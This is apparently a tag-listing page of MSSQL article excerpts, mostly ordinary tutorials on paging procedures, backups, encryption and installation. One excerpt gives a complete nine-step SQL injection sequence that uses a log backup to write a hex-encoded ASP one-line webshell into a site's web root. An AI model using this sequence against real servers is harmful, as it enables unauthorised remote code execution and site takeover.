Tag:mssql

  • MSSQL paged stored procedure complete example (supports multi table paged storage)

    Time:2020-2-12

    An example of this article describes the MSSQL paging stored procedure. To share with you for your reference, as follows: USE [DB_Common] GO /******Object: Storedprocedure [dbo]. [com_pagination] script date: 03 / 09 / 2012 23:46:20******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO /************************************************************ * *SQL paging stored procedure (supports multi table paging storage) * […]

  • MSSQL simple query out all the duplicate data in the data table

    Time:2020-2-11

    The example of this article describes the method of MSSQL to simply query all the duplicate data in the data table. To share with you for your reference, as follows: Here is an example: SELECT * FROM SYS_LogContent slc WHERE slc.LogInfo_ID IN ( SELECT slc2.LogInfo_ID FROM SYS_LogContent slc2 GROUP BY slc2.LogInfo_ID HAVING COUNT(*)>1 ) Brief […]

  • The method of MSSQL 2005 log backup webshell

    Time:2020-1-2

    Note: reprint will be injected from the original works of “lone Longzi blog“http://itpro.blog.163.com First step http://itpro.blog.163.com/test.asp’;alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]– The second step: http://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– The third step http://itpro.blog.163.com/test.asp’;drop/**/table/**/[itpro]– The fourth stephttp://itpro.blog.163.com/test.asp’;create/**/table/**/[itpro]([a]/**/image)– The fifth stephttp://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– The sixth stephttp://itpro.blog.163.com/test.asp’;insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)– The seventh stephttp://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– The eighth stephttp://itpro.blog.163.com/test.asp’;drop/**/table/**/[itpro]– The ninth stephttp://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– By: lone fox prodigal son QQ: 393214425

  • About MSSQL 2005 installation and patch

    Time:2019-11-4

    Later, it was verified that MS SQL version was the problem.So how can we view the current database server information?1 database server properties can be viewed2 execute T-SQL Copy codeThe code is as follows: select Convert (sysname, serverproperty (‘servername ‘)) n’ database instance name ‘,Serverproperty (‘productversion ‘) n’ database version ‘,Serverproperty (‘edition ‘) n’ database […]

  • Installing SqlServer 2017 with URLOS under Linux

    Time:2019-9-22

    Can SqlServer be installed on Linux? The answer is yes! There are also many articles about installing SqlServer on Linux system. Maybe after some troubles, you can also successfully install sqlserver on linux, but there may be many pits. Today we introduce a more efficient way to install SqlServer by urlos. What is urlos? URLOS […]

  • MSSQL 2005 Security Settings Picture and Text Tutorial

    Time:2019-9-18

    1. Use mixed mode when installing MSSQL. Of course, SA password should not be empty. In SQL 2005, SA can be modified or deleted as a super user name.use masterALTER LOGIN [sa] WITH NAME= [zxs]/* Modify SA Account*/Sp_password’111111111′,’123456′,’sa’/* Modify SA password*/SA account can be modified or graphically modified by using the above commandsUse a secure […]

  • MS SQL Server Database Separation-SQL Statement

    Time:2019-8-21

    Preface I’m cleaning up the database today. Yes.MS SQL ServerSeparated database files are used. In this process, there is a small problem: the database log file was deleted by mistake, and then the data can not be opened, except offline, other operations are wrong. Database Separation conventional method This method is a conventional and multi-step […]

  • MSSQL Practice – Database Backup Encryption

    Time:2019-8-18

    abstract In the sharing of the monthly reports of the special topics of SQL Server Security Series, we have shared: how to use symmetric keys to realize SQL Server column encryption technology, how to use asymmetric keys to realize SQL Server column encryption, how to use mixed keys to realize SQL Server column encryption technology, […]

  • Various database command line tools mycli litecli mssql-cli pgcli

    Time:2019-8-16

    If you normally operate a database on the command line, it is highly recommended that you use the following command line tools. mycli Mycli is a MySQL-based command-line tool that can be used directly pip install mycliInstallation,See https://github.com/dbcli/mycli for details. $ mycli –help Usage: mycli [OPTIONS] [DATABASE] A MySQL terminal client with auto-completion and syntax […]

  • MSSQL – Best Practices – Always Encrypted

    Time:2019-8-13

    abstract In the sharing of the special monthly reports of the SQL Server security series, we have shared in succession in the past: how to use symmetric keys to realize SQL Server column encryption technology, how to use asymmetric keys to realize SQL Server column encryption, how to use mixed keys to realize SQL Server […]

  • MSSQL 2000 Use Help (sql server concise tutorial)

    Time:2019-8-4

    SQL SERVER 2000 Installation Tutorial: //www.jb51.net/article/37380.htm 1. If your SQL space is open, please open your local SQL server enterprise manager, as follows: 2. Click on the right button of the SQL server group and select the new SQL server registration as follows: 3. Pop up the SQL server registration wizard and click on the […]

  • Setting Method of MSSQL 2008 Automatic Backup Database

    Time:2019-7-30

    First, open MSSQL2008, and then double-click on the Maintenance Plan subclass in the “Management” category. At this time, if you have previously set up a task plan, you will display a task list; if not, nothing will be displayed. Right-click on Maintenance Plan, select New Maintenance Plan, and enter a name. Here we enter the […]